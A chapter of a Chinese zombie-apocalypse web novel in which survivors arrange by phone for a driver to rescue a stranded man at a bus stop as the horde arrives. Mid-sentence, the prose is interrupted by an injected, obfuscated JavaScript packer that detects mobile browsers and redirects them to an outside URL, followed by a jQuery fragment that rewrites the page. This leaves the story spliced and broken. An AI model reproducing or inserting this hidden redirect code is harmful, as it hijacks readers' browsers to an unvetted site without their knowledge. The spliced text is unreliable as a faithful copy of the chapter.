嗡嗡——
螺旋桨搅动,方形无人机一跃而下,划过丧尸们的头顶,晃出一条平滑的曲线!
几道人影追着丧尸前进的方向助跑起跳,翻过白色金属高墙,几下窜进墙根的小火车上,“嘎嘣”一声,火车头和第二节车厢断开。
哐哐哐!
车轮摩擦涂抹着棕色干涸污渍的瓷砖,以极小的偏差钻出第二节车厢与白色金属墙的缝隙。
狭窄的车厢中挤着七、八个成年人,他们下意识站成两队,又默契地望向前方。
风——或许从丧尸摇晃的身体边吹来,从幸存者紧绷,迅速交替的双腿中呼啸而出。
沙沙地吹拂树梢,又被卷进汽车进风口。
“我这儿有个认识你的人,他姓祁,想要你的联系方式,可以给嘛?”鹿沅之嗓音沙哑,询问道。
骗你的,不同意也给,他给的实在太多了!
“……呵!傻叉!”
鹿沅之:“……”
为什么骂我?!
难道……她会读心术?读心术隔着手机都能用?!
“我没说你,”
电话那头,周遭安静,燕好把声音压得很低,但仍有沉闷的回声,“姓祁的是我表哥,但是他跟我讨厌的一个……男的关系很好,所以我把他拉黑了。算了没什么,你把我微信给他吧。”
鹿沅之吸了吸鼻子:“你想跟他说两句嘛?”
她掀开沉重的眼皮,注视着花店里忙成一团的众人。
祁老板跟和淳雪捧着平板,低声和另外一边的人交谈;主播和中控头对头,各自捧着手机在APP里舌战群儒顺便安抚今晚下单的顾客;
“你那边好吵,在干什么?”燕好自然也听到嘈杂的背景声。
“你想跟他说两句嘛?”鹿沅之还是那句。
“不是同意把微信给他了吗?还打什么电话,”燕好冷淡道。
“你在车里吧,不是快走了?就算给微信也没用。”鹿沅之鼻音厚重。
她身前不远处,祁老板转身,冲鹿沅之错愕地一挑眉。
寂静
如果不是清浅的呼吸声还在,鹿沅之都以为燕好把电话直接挂了。
半分钟后,燕好终于晦涩开口,她近乎呢喃道:“他们……于桂、万迩、马山还有卫思,都死了,如果不是我非要走……”
潮热一阵一阵地涌上额头,鹿沅之软绵绵地抵抗潮水般的睡意:“不走也会死,不然你这个胆小鬼根本不敢出来。”
不然当初燕好不会逼着他们立刻走。
站到鹿沅之身边的祁老板叹了口气,他礼貌地朝鹿沅之伸手:“我可以跟她说两句嘛?”
燕好轻嗤一声,也对鹿沅之道:“给他吧,我倒要看看,他想说什么。”
递出手机,鹿沅之怀抱撬棍,迷迷瞪瞪地注视单手插兜的祁老板。
“……”
“……有话快说!”
“你小时候,我给你换过尿布。”祁老板悠哉说,一边伸手对和淳雪比划。
“有病!你到底——”
祁老板打断燕好即将燃起的烦躁:“要是你那边但凡有一个人真出事了,你连这个电话都懒得接。”
“……你想让我干什么?”
“在地下车库?帮我接个人,在1号门对面公交站。然后快走,你别觉得躲在下面等丧尸潮过了就安全了,现在走才是最安全的,丧尸肯定跑不过车。”祁老板语速飞快。
他深吸口气,又缓缓低笑出声:“你身手这么好,肯定比老哥我活得久,原本还想让燕大侠带带我……还有,你讨厌的那个男的,他被丧尸咬了。”
祁老板话音刚落,一直熄屏的手机屏幕亮起来——燕好挂断电话了。
他轻笑一声,对和淳雪扬声:“告诉小姜别着急!有人去接他!”
半晌,祁老板看向中控:“他们到哪里?”
中控手忙脚乱地滑动手机:“唔,已经到了!老板,能关灯了!”
嗡——
磨砂银的机身钻出敞口的门帘,晃着门框过,陡仰爬升到两米高度,在它身后,原本灯火通明的商场一楼似乎轻轻一震。
灯光,开始一束一束地熄灭。
越野车咆哮着从黑洞洞的地下车库冲出,撞翻围栏,直奔街对面的公交站——
“呜咦咦咦,”小姜哭得正酣。
他不想等着一个见都没见过的人来救,但是先前从商场狂奔出来,抵达公交站。大概已经用完了他所有的力气和勇气,他的小腿发软,别说跑,从公交站亭上蹦下去都艰难。
小姜断断续续地交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223041|186677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
代遗言。
从九岁还在尿床的童年囧事,到十岁未果的初恋;初中第一张及格的英文卷子;物理高考时被路边买的茶叶蛋荼毒到大肠嗡嗡叫,小肠咕咕笑;大学以低于专业组一分的成绩,被调剂到水产养殖;期末没看清课表,导致一门课上了一个学期,没在老师那里挂名,最后不得不重修;好不容易毕业,找工作找到身心疲惫时,收到论文被抽检的消息……
小姜哭着哭着,眼泪突然干涸:“……”
突然感觉活着好像也没什么意思了……
他环视一圈,和彩虹色的七个脑袋对视,深深地吐了一口气,最后安详地闭上眼:“只要你们愿意叫我一声爷爷,我也是死而无憾了——”
“小姜你疯了?!别躺着,快坐起来!”
“喂?老板他妹脾气不好,你别丧啊!”
小姜岿然不动,把自己悍在候车厅的金属顶:“我要和孙子们待在一起。”
啊啊啊啊啊啊——
奇袭到商场四周的先锋部队丧尸甩着舌头嘶吼,预兆自己的降临!
砰——
车胎与柏油路面剧烈摩擦的声音来得太快,刚闯入耳道就被一声震天的碰撞声掩盖!
小姜咸鱼一弹,后颈与湿热的金属棚顶脱焊,他眯眼望去。
手机传来激动的呐喊声,橙红染紫的天空霸占了一半镜头,沉甸甸地压在灰黑的柏油路上。
但人的视线却被镜头中央居左位置的匹兹堡灰大方盒子霸占。
七个大鼻孔气势汹汹直冲公交站而来,风噪与胎噪声交织轰鸣,撒哈拉四门呼啸而来!
“哦哦哦哦!”
爷爷姜返老还童,不顾对他垂涎欲滴的彩虹脑袋孙子们,他一跃而起,站在高高的候车亭顶挥手:“我在这里!不早说!吼哈哈哈哈哈哈!沙四哈哈哈哈哈哈哈!”
砰砰砰!
车里,马山和卫思齐声尖叫:“撞撞撞!”
“撞死他丫的丧尸!”
高速巡航的撒哈拉四门背后,商场一楼轰然跌入黑暗。
嗷——
黑影一层层扑向车站附近大道,骤然亮起的远光灯射在撒哈拉四门尾部的半边轮胎上——
大车来了。
或者说,丧尸的大部队——
到了。